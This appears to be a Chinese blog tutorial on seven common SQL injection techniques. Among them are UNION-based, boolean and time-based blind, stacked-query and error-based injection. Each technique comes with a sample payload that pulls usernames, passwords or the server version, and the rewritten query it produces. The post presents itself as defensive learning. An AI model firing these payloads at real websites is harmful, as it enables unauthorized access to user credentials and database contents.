系统安全-常见的几种sql注入攻击的方式

1.基于错误的注入

攻击者通过构造恶意的 SQL 语句,使得服务器返回错误信息,从而获取敏感信息。

例如,攻击者可以在登录页面的用户名和密码输入框中输入以下内容:

sql 复制代码
`' or 1=1--`

这将使 SQL 语句变为:

sql 复制代码
`SELECT * FROM users WHERE username = '' or 1=1--' AND password = ''`

其中,双破折号(--)表示注释掉后面的内容,所以这个 SQL 语句将会返回所有用户的信息,因为 1=1 总是成立的。

2.基于联合查询的注入

攻击者通过在注入点构造联合查询语句,获取数据库中的敏感信息。

例如,攻击者可以在搜索框中输入以下内容:

sql 复制代码
`' UNION SELECT username, password FROM users--`

这将使 SQL 语句变为:

sql 复制代码
`SELECT * FROM products WHERE name = '' UNION SELECT username, password FROM users--'`

其中,双破折号(--)表示注释掉后面的内容,所以这个 SQL 语句将会返回用户表中的用户名和密码信息。

3.基于布尔盲注的注入

基于布尔盲注的注入是一种常见的SQL注入攻击方式,攻击者通过构造恶意SQL语句,利用应用程序返回的布尔值(真或假)来推断数据库结构和相关信息。

例如,攻击者可以在搜索框或者输入框中输入以下内容:

sql 复制代码
`' AND (SELECT COUNT(*) FROM users WHERE username='admin' AND SUBSTR(password,1,1)='a')>0 AND '1'='1`

这将使 SQL 语句变为:

sql 复制代码
`SELECT * FROM products WHERE name = '' AND (SELECT COUNT(*) FROM users WHERE username='admin' AND SUBSTR(password,1,1)='a')>0 AND '1'='1`

上述SQL语句中,利用了SELECT COUNT(*)函数来查询数据库中是否存在用户名为admin且密码的首字母为字母a的记录。如果存在,则查询结果为真,否则为假。攻击者可以通过观察搜索页面的响应内容,来判断查询结果是真还是假,从而推断出数据库结构和相关信息。

4.基于时间盲注的注入

攻击者通过构造恶意的 SQL 语句,使得服务器在执行查询时延迟一段时间,从而获取敏感信息。

例如,攻击者可以在搜索框或者输入框中输入以下内容:

sql 复制代码
`' AND IF(SUBSTRING(database(),1,1)='M',sleep(10),0)--`

这将使 SQL 语句变为:

sql 复制代码
`SELECT * FROM products WHERE name = '' AND IF(SUBSTRING(database(),1,1)='M',sleep(10),0)--'`

上述SQL语句中,利用了IF函数和SUBSTR函数来判断数据库名称的首字母是否为字母M。如果是,就执行sleep(10)函数,即让数据库等待10秒钟,否则就执行0,即不等待。攻击者可以通过观察登录页面的响应时间来判断数据库名称的首字母是否为字母M,从而推断出数据库的结构和相关信息。

5.基于堆叠查询的注入

攻击者通过在注入点构造多个 SQL 查询语句,获取数据库中的敏感信息。

例如,攻击者可以在搜索框中输入以下内容:

sql 复制代码
`'; SELECT username, password FROM users;--`

这将使 SQL 语句变为:

sql 复制代码
`SELECT * FROM products WHERE name = ''; SELECT username, password FROM users;--'`

这个 SQL 语句将会返回用户表中的用户名和密码信息。

6.基于报错注入

攻击者通过构造恶意的 SQL 语句,使得服务器返回错误信息,从而获取敏感信息。

例如,攻击者可以在搜索框中输入以下内容:

sql 复制代码
`' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x3a,@@version,0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--`

这将使 SQL 语句变为:

sql 复制代码
`SELECT * FROM products WHERE name = '' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x3a,@@version,0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--'`

这个 SQL 语句将会返回服务器版本信息。

7.基于注释符号的注入

攻击者通过在注入点插入注释符号,使得恶意的 SQL 语句被忽略,从而获取敏感信息。

例如,攻击者可以在搜索框中输入以下内容:

sql 复制代码
`'/*abc*/ UNION /*def*/ SELECT /*ghi*/ username, password /*jkl*/ FROM /*mno*/ users/*pqr*/--`

这将使 SQL 语句变为:

sql 复制代码
`SELECT * FROM products WHERE name = ''/*abc*/ UNION /*def*/ SELECT /*ghi*/ username, password /*jkl*/ FROM /*mno*/ users/*pqr*/--'`

其中,所有以 /* 开头,以 */ 结尾的部分都被注释掉了,这个 SQL 语句将会返回用户表中的用户名和密码信息。

总结

学习好系统安全方面的知识,能让我更好的预防各种黑客的攻击,最基础风险的了解,非常必要。

相关推荐
Gauss松鼠会4 分钟前
GaussDB 整体架构解析
运维·服务器·网络·数据库·sql·架构·gaussdb
Gauss松鼠会24 分钟前
GaussDB 中 gsql 与 DBeaver(JDBC)客户端工具查询时间不一致:原因、排查与处理
运维·服务器·数据库·sql·gaussdb·经验总结
渣渣盟32 分钟前
Flink SQL 流批一体:从 SQL 到执行计划,优化器如何工作?
大数据·sql·flink
Decay__7 小时前
05_MySQL 常用 SQL 大全 —— 诊断、管理、优化辅助 SQL 与三大系统库速查
运维·数据库·sql·mysql·架构
长不大的杨瑞杰12 小时前
OpenCode v2 会话可靠性实战:Snapshots、Compaction、Instructions 与 Formatters
人工智能·安全·云计算·软件工程·devops
Decay__13 小时前
04_MySQL DBA 日常运维手册 —— 会话管理、锁与阻塞、事务监控、慢查询与日志巡检
运维·数据库·sql·mysql·架构
陆圣杰14 小时前
代码分享之前,先用假数据练一次凭据检查
安全
Angeldream12315 小时前
第 10 章 医学影像伦理与安全
图像处理·人工智能·python·安全·机器学习·医学影像
方白羽15 小时前
Android 双开环境底层剖析与风控检测落地
android·安全·app
pt104316 小时前
Cisco设备网络安全系列-18:SIEM与SOAR安全解决方案
网络·安全